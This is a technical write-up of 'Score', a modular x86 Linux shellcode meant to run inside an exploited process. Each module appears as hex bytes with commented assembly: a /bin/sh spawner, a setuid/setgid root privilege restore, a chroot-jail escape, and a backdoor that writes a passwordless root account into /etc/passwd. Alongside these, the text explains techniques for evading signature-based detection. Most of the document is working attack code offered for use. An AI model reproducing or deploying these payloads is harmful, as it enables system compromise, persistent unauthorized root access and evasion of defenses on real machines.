- SCORE -

The ShellCORE

LINUX SHELLCODE DEVELOPMENT

"*Have you scored lately?*"

Core Ready
>

Introduction

Score is an interactive shellcode which allows a user to work further with an exploited process. For instance, elevating privileges, then calling a shell – or perhaps adding a back-door user to the system before such a call to the shell is made. Score stands for shellcore as it consists of a core code which allows a user to select '*modules*' that are additional to the core. The modules have been designed to achieve goals and further help in working with an exploited process. Score has been written entirely in Intel syntax assembler for x86 processors and is for Linux OS's. This document explains score's code, the features of the modules and gives an example of score being used in an attack scenario.

Design

Score has been written in a modular design. This made it easier to achieve a small number of project goals. These are listed below along with the success of each goal.

- *Module independence* - each module is able to run independently of the core and one another, they may be combined easily and do not require one another to achieve there individual tasks.

- *Expandable* – the core is simple to expand upon allowing future modules to be implemented or replaced with ease.

- *Shellcode demands* – score meets the requirements of modern day shellcode, being completely free of null-bytes and able to execute anywhere in system memory.

- *Signature evasion* – score avoids common binary signatures used by signature analysis systems in place today to detect shellcode.

Linux Internals

Whilst writing in assembler, it is useful to have a series of calls and routines within the system with which we can perform common tasks, reading and writing to and from files for instance. In Linux, this '*API*' is provided via the kernel through the means of an Interrupt Service Routine – interrupt 0x80. We can, by passing values to this interrupt via the registers, and making an interrupt request to "*int 0x80*", access the common routines provided by the Linux Kernel for tasks such as reading and writing to files. Score uses this ISR to achieve most of its goals.

The Core

The core is the main code in score. It is designed to be an interface to the score modules, providing a way of allowing users to select modules for execution. It does this via a variety of tasks each designed to achieve a single goal. These tasks help us further breakdown the core into smaller modules so we may view each and the goal it achieves.

Initialise

"EB 04 5F 57 FF E7 E8 F7 FF FF FF"

```
jmp $+0x06          ; Jump control to 0x06 bytes after this point
pop edi             ; Take the saved instruction off the stack (this is score's base address)
push edi            ; Push the base address onto stack
jmp edi             ; Jump control to the base address
call $-0x04         ; Jump to 0x04 bytes before this point, save the next instructions address on stack
```

This is the initialisation code, this part of the code is used to determine where in the memory address space score is located, so that we can later reference the beginning of the score code

without difficulty. I achieved this by using a call instruction to '*save*' the address of the start of score, the initialisation code is run only once in scores lifetime.

Ready Prompt:

"5F 68 64 79 0A 3E 68 20 52 65 61 68 43 6F 72 65 31 C0 B0 04 31 DB B3 01 89 E1 31 D2 B2 0C CD 80"

```
pop edi                 ; save the base address into edi (we will use edi as our base holder)
push 0x3e0a7964         ; Push the 'Core Ready' prompt onto stack
push 0x61655220         ; Push the 'Core Ready' prompt onto stack
push 0x65726f43         ; Push the 'Core Ready' prompt onto stack
xor eax,eax             ; zero out the eax register
mov al,0x4              ; place 4 into the eax register
xor ebx,ebx             ; zero out the ebx register
mov bl,0x1              ; place 1 into ebx
mov ecx,esp             ; copy pointer to 'Core Ready' prompt into ecx
xor edx,edx             ; zero out the edx register
mov dl,0xc              ; place 13 into edx
int 0x80                ; call ISR 0x80 (Linux Kernel ISR)
```

The ready prompt is the '*Core Ready*' message which signals a score user that score is ready to receive commands. It is here that program flow control is returned to at the end of each of scores task, signalling the user with a '*Core Ready*' prompt.

Read-choice:

"31 C0 89 E5 50 B0 03 31 DB B3 01 89 E9 31 D2 B2 02 CD 80"

```
xor eax,eax             ; zero out the eax register
mov ebp,esp             ; save a copy of the stack pointer
push eax                ; push a null onto stack
mov al,0x3              ; place 3 in the eax register
xor ebx,ebx             ; zero out the ebx register
mov bl,0x1              ; place 1 into the ebx register
mov ecx,ebp             ; place a copy of the saved pointer into ecx (This is where the data is read into)
xor edx,edx             ; zero out the edx register
mov dl,0x2              ; place 2 into the edx register
int 0x80                ; call ISR 0x80 (Linux Kernel ISR)
```

Here we needed to determine a way for a user to select modules or pass commands to score. This section of code reads in two bytes from the user (the selection and a carriage return) and stores them on the stack for later use.

Module-select:

"89 EA 66 81 3A 62 0A 74 5C 66 81 3A 6A 0A 74 57 66 81 3A 70 0A 74 35 66 81 3A 73 0A 74 12 66 81 3A 78 0A 74 03"

```
mov edx,ebp             ; copy the pointer from ebp into edx (the saved users input)
cmp word[edx],0x0a62    ; compare the data to see if a 'b' was entered
je $+0x5e               ; if it was jump to 0x5e bytes from here (See notes on FAR jump)
cmp word[edx],0x0a6a    ; compare the data to see if a 'j' was entered
je $+0x59               ; if it was jump to 0x59 bytes from here
cmp word[edx],0x0a70    ; compare the data to see if a 'p' was entered
je $+0x37               ; if it was jump to 0x37 bytes from here
cmp word[edx],0x0a73    ; compare the data to see if a 's' was entered
je $+0x14               ; if it was jump to 0x14 bytes from here
cmp word[edx],0x0a78    ; compare the data to see if a 'x' was entered
je $+0x05               ; if it was jump to 0x5 bytes from here
```

The module-select function takes the two bytes which were entered by the user, and determines

whether the user entered a choice which matches the known choices, if the user did enter such a choice then score jumps the program to the module outside of the core which the user selected.

Core-loop:

"57 FF E7"

```
push edi        ; save a copy of the score-base pointer onto stack
jmp edi         ; jump to the saved score-base pointer
```

The core loop provides a way for the '*Core*' to loop back to the beginning and also allows for re-entry into the '*Core*' from a module. This has been achieved by keeping the edi register free from use within the '*Core*' and score's modules so that it can permanently reference the start of the '*Core*'. The address was learnt during the initialisation of the '*Core*'.

Long Jump:

"EB 44"

```
jmp $+0x46      ; Jump again, this time a further 0x46 bytes.
```

It is worthy of note (in case you wish to further develop score) that jumps of a certain length(long and far) added additional instructions into the code which contained null bytes. This was avoided by making two separate small jumps, from one to the other. Such is the case with the 'backdoor' module and the code used is shown above.

MODULES

Here i will present each of score's modules, the code which is used and what each module achieves. At the end of each module is the '*core loop*' this is to prevent modules executing the next module, segmentation faults if a module fails to achieve the task and allows for easy re-entry to the score prompt.

Shellcode Module:

"31 C0 50 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 50 89 E2 53 89 E1 B0 0B CD 80"

```
xor eax,eax             ; zero out the eax register
push eax                ; push the 'null' value onto stack
push 0x68732f2f         ; push program string onto stack
push 0x6e69622f         ; push program string onto stack
mov ebx,esp             ; copy pointer of string into ebx
push eax                ; push the 'null' value onto stack
mov edx,esp             ; copy pointer to null into edx
push ebx                ; push pointer to null onto stack
mov ecx,esp             ; copy pointer to top of stack into ecx
mov al,0xB              ; place 12 into eax (0xB)
int 0x80                ; call ISR 0x80 (Linux Kernel ISR)
```

The shellcode module's only purpose is to place score's user in the '*sh*' command shell. On running this module we should be presented with a prompt similar to the one below.

```
sh-2.05b#
```

Privilege Restore module:

"31 C0 B4 17 C1 E8 08 31 DB CD 80 31 C0 B4 2E C1 E8 08 31 DB CD 80"

```
xor eax,eax             ; zero out the eax register
mov ah,0x17             ; place 0x17 into the eax register
shr eax,0x8             ; avoid common setuid signatures with this
xor ebx,ebx             ; zero out the ebx register (0)
int 0x80                ; call ISR 0x80 (Linux Kernel)
xor eax,eax             ; zero out the eax register
```

```
mov ah,0x2e                ; place 0x2e into the eax register
shr eax,0x8                ; avoid common setgid signatures with this
xor ebx,ebx                ; zero out the ebx register (0)
int 0x80                   ; call ISR 0x80 (Linux Kernel)
```

The privilege restore module restores the root privileges a process once had in case they have been temporarily dropped by the process for one reason or another.

Break-chroot-jail module:

"31 C0 50 68 6A 61 69 6C 89 E3 89 E2 66 B9 F3 02 B0 27 CD 80 31 C0 50 89 D3 B0 3D CD 80 68 2E 2E 2E 2E 89 E3 80 C3 02 89 DA 31 C9 B1 FF B0 0C 89 D3 CD 80 E2 F8 89 D3 80 C3 01 B0 3D CD 80"

```
xor eax,eax                ; zero out the eax register
push eax                   ; push the null onto stack
push 0x6c69616a            ; push the 'jail' string onto stack
mov ebx,esp                ; copy pointer of string to ebx
mov edx,esp                ; make a backup of the pointer
mov cx,0x2F3               ; place permissions into ecx, (0x2F3 = 755)
mov al,0x27                ; place 0x27 into eax
int 0x80                   ; call ISR 0x80 (Linux Kernel ISR)
xor eax,eax                ; zero out the eax register
push eax                   ; push the null onto stack
mov ebx,edx                ; place the pointer into ebx again
mov al,0x3d                ; place 0x3d into eax
int 0x80                   ; call ISR 0x80 (Linux Kernel ISR)
push 0x2e2e2e2e            ; push the '....' string onto stack
mov ebx,esp                ; copy pointer of string into ebx
add bl,0x2                 ; make string '..' (2bytes up)
mov edx,ebx                ; save a copy of the string into edx
xor ecx,ecx                ; zero out the ecx register
mov cl,0xff                ; place 0xff into the ecx register
mov al,0x0c                ; place 0x0c into the eax register
mov ebx,edx                ; place the string pointer into ebx
int 0x80                   ; call ISR 0x80 (Linux Kernel ISR)
loop $-0x06                ; loop the chdir (above 3 instructions)
mov ebx,edx                ; place the string pointer into ebx
add bl,0x1                 ; make it reference '.'  (1byte)
mov al,0x3d                ; place 0x3d into eax
int 0x80                   ; call ISR 0x80 (Linux Kernel ISR)
```

The break-chroot-jail module exploits a flaw in the '*chroot jailing'* process which allows a user to escape the '*chroot jail*'.

Backdoor Module:

"31 C0 50 68 73 73 77 64 68 2F 2F 70 61 68 2F 65 74 63 89 E6 31 D2 31 C9 B1 01 89 F3 31 C0 B0 05 CD 80 50 89 E6 31 C0 B0 13 8B 1E 31 C9 31 D2 B2 02 CD 80 31 C0 B0 04 8B 1E 31 C9 51 68 61 73 68 0A 68 69 6E 2F 62 68 74 3A 2F 62 68 2F 72 6F 6F 68 63 66 67 3A 68 66 6F 72 20 68 73 65 72 20 68 65 6D 20 75 68 73 79 73 74 68 30 3A 30 3A 68 66 67 3A 3A 68 73 79 73 63 89 E1 31 D2 B2 30 CD 80 31 C0 B0 06 8B 1E CD 80"

```
xor eax,eax                ; zero out the eax register
push eax                   ; push the null onto stack
push 0x64777373            ; push the passwd string onto stack
push 0x61702f2f            ; push the passwd string onto stack
push 0x6374652f            ; push the passwd string onto stack
mov esi,esp                ; place a pointer to passwd into esi
xor edx,edx                ; zero out the edx register
xor ecx,ecx                ; zero out the ecx register
mov cl,0x01                ; place 0x1 in the ecx register
```

```
mov ebx,esi             ; place the pointer into ebx
xor eax,eax             ; zero out the eax register
mov al,0x5              ; place 0x5 (open) in the eax register
int 0x80                ; call ISR 0x80 (Linux Kernel)
push eax                ; push the file handle onto stack
mov esi,esp             ; store the file handle in esi
xor eax,eax             ; zero out the eax register
mov al,0x13             ; place 0x13 into eax
mov ebx,[esi]           ; place the contents of the file handle pointer into ebx (the actual handle)
xor ecx,ecx             ; zero out the ecx register
xor edx,edx             ; zero out the edx register
mov dl,0x2              ; place 0x2 in the edx register
int 0x80                ; call ISR 0x80 (Linux Kernel)
xor eax,eax             ; zero out the eax register
mov al,0x4              ; place 0x4 into the eax register
mov ebx,[esi]           ; place the contents of the file handle pointer into ebx
xor ecx,ecx             ; zero out the ecx register
push ecx                ; push the null onto stack
push 0x0a687361         ; place the backdoor string onto stack
push 0x622f6e69         ; place the backdoor string onto stack
push 0x622f3a74         ; place the backdoor string onto stack
push 0x6f6f722f         ; place the backdoor string onto stack
push 0x3a676663         ; place the backdoor string onto stack
push 0x20726f66         ; place the backdoor string onto stack
push 0x20726573         ; place the backdoor string onto stack
push 0x75206d65         ; place the backdoor string onto stack
push 0x74737973         ; place the backdoor string onto stack
push 0x3a303a30         ; place the backdoor string onto stack
push 0x3a3a6766         ; place the backdoor string onto stack
push 0x63737973         ; place the backdoor string onto stack
mov ecx,esp             ; store a pointer to string in ecx
xor edx,edx             ; zero out the edx register
mov dl,0x30             ; place 0x30 into edx (the number of bytes to write)
int 0x80                ; call ISR 0x80 (Linux Kernel)
xor eax,eax             ; zero out the eax register
mov al,0x6              ; place 0x6 into the eax register
mov ebx,[esi]           ; place the file handle in ebx
int 0x80                ; call ISR 0x80 (Linux Kernel)
```

The '*backdoor module'* has been designed to allow us to place a backdoor user into the system before any command shell or other tasks occur. The added user is 'syscfg' and is designed to match system accounts, have root privileges and an empty password. The actual line which is added can be seen below, it is added to the "*/etc/passwd*" file in the system.

```
syscfg::0:0:system user for cfg:/root:/bin/bash
```

Exit Module:

"31 C0 B0 01 31 DB CD 80"

```
xor eax,eax             ; zero out the eax register
mov al,0x1              ; place 1 into eax
xor ebx,ebx             ; zero out the ebx register
int 0x80                ; call ISR 0x80 (Linux Kernel ISR)
```

The exit module serves only to exit the current process. This call signals the kernel to end the current process and clean up its resources, causing a clean exit of the process without a core dump or segmentation fault.

Signature Evasion:

Typically Signature analysis systems search binaries, executing code and/or traffic for a series of bytes known as a signature. This is usually to detect the presence of malicious code such as shellcode or viruses. Patterns such as *0x90* and specific strings, for example - "*/bin/sh*", are identified by signature analysis systems as shellcode. By using multiple techniques to evade such signatures (for instance a 1-byte encoded equivalent NOP instruction – '*cld*' = *0xFC, at the start of scores code*). The common 'generic' signatures true to most other shellcodes have been avoided. It is worth mentioning that to evade the privilege restore module from detection, the AH register was used to hold the number for the system call, and then a shift instruction placed the call correctly in the L.O byte of eax register. Other steps have been taken, which usually just involved the swapping of one instruction for similar or equivalent instructions. This does not mean that score is undetectable because score creates its own unique binary signature and this could be used to detect score. True polymorphic shellcode would be the only way to defeat such analysis entirely which would have to be achieved through the use of an engine or other additional program.

Using Score:

When a process has been exploited in such a way that program flow is adjusted to the location of score, and score has been delivered correctly to the process, we are given the following prompt, which signals that the system is ready for our use.

```
Core Ready
>
```

From here we are able to make decisions as to which modules are loaded and executed from the core, we do this by entering our selection followed by a carriage return. Below is a listing of the modules and the corresponding key used to select them.

Choice	*Executes Module*
Key 's'	Traditional 'shellcode' module
Key 'p'	'Privilege restore' module
Key 'j'	'Break-chroot-jail' module
Key 'b'	'Backdoor' module
Key 'x'	'Exit' module

After making a selection we are returned again to the '*Core Ready*' prompt, unless that selection alters flow control further, for instance calling the shellcode module or requesting that score exit the process.

Conclusion:

If you wish to test the effectiveness of score or each of its modules and example exploit and vulnerable program has been included in the 'example' directory of the score package, a Makefile has been included also to make compilation easier.

To conclude, score is a complete shellcode consisting of core with modules that can help a user work further with an exploited process.